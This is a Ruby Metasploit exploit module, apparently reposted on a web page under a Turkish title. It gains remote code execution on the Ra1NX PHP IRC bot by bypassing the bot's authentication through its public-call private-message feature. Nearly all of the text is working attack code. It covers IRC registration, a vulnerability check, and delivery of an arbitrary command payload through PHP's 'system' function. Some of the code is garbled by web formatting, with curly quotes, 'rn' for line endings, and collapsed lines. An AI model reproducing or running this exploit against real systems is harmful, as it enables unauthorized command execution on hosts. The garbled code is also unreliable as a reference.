“Ra1NX” PHP Bot pubcall Authentication Bypass Uzaktan Kod Çalıştırma Açığı
# Exploit Title: “Ra1NX” PHP Bot pubcall Authentication Bypass Remote Code Execution
# Date: March 24, 2013
# Exploit Author: bwall
# Software Link: https://defense.ballastsecurity.net/decoding/index.php?hash=69401ac90262f3855c23cd143d7d2ae0
# Version: v2.0
# Tested on: Ubuntu
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => '”Ra1NX” PHP Bot pubcall Authentication Bypass Remote Code Execution',
'Description' => %q{
This module allows remote command execution on the PHP IRC bot Ra1NX by
using the public call feature in private message to covertly bypass the
authentication system.
},
'Author' =>
[
'bwall ' # Ra1NX analysis and Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'https://defense.ballastsecurity.net/wiki/index.php/Ra1NX_bot'],
['URL', 'https://defense.ballastsecurity.net/decoding/index.php?hash=69401ac90262f3855c23cd143d7d2ae0'],
['URL', 'http://ddecode.com/phpdecoder/?results=8c6ba611ea2a504da928c6e176a6537b']
],
'Platform' => [ 'unix', 'win'],
'Arch' => ARCH_CMD,
'Payload' =>
{
'Space' => 344,
'BadChars' => '',
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
}
},
'Targets' =>
[
[ 'Ra1NX', { } ]
],
'Privileged' => false,
'DisclosureDate' => 'March 24 2013',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(6667),
OptString.new('IRC_PASSWORD', [false, 'IRC Connection Password', '']),
OptString.new('NICK', [true, 'IRC Nickname', 'msf_user']),
OptString.new('RNICK', [true, 'Nickname of Target IRC Bot', 'jhl1']),
OptString.new('PHP_EXEC', [true, 'Function used to call payload', 'system'])
], self.class)
end
def check
connect
response = register(sock)
if response =~ /463/ or response =~ /464/
print_error(“#{rhost}:#{rport} – Connection to the IRC Server not allowed”)
return Exploit::CheckCode::Unknown
end
confirm_string = rand_text_alpha(8)
response = send_msg(sock, “PRIVMSG #{datastore['RNICK']} :#{datastore['RNICK']} @msg #{datastore['NICK']} #{confirm_string}rn”)
print response
quit(sock)
disconnect
if response =~ /#{confirm_string}/
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end
def send_msg(sock, data)
sock.put(data)
data = “”
begin
read_data = sock.get_once(-1, 1)
while not read_data.nil?
data < < read_data read_data = sock.get_once(-1, 1) end rescue EOFError end data end def register(sock) msg = "" if datastore['IRC_PASSWORD'] and not datastore['IRC_PASSWORD'].empty? msg < < "PASS #{datastore['IRC_PASSWORD']}rn" end if datastore['NICK'].length > 9
nick = rand_text_alpha(9)
print_error(“The nick is longer than 9 characters, using #{nick}”)
else
nick = datastore['NICK']
end
msg < < "NICK #{nick}rn" msg < < "USER #{nick} #{Rex::Socket.source_address(rhost)} #{rhost} :#{nick}rn" response = send_msg(sock,msg) return response end def ra1nx_command(sock) encoded = payload.encoded command_msg = "PRIVMSG #{datastore['RNICK']} :#{datastore['RNICK']} @#{datastore['PHP_EXEC']} #{encoded}rn" response = send_msg(sock, command_msg) return response end def quit(sock) quit_msg = "QUIT :bye byern" sock.put(quit_msg) end def exploit connect print_status("#{rhost}:#{rport} - Registering with the IRC Server...") response = register(sock) if response =~ /463/ or response =~ /464/ print_error("#{rhost}:#{rport} - Connection to the IRC Server not allowed") return end print_status("#{rhost}:#{rport} - Exploiting the Ra1NX bot...") ra1nx_command(sock) quit(sock) disconnect end end [/sourcecode]
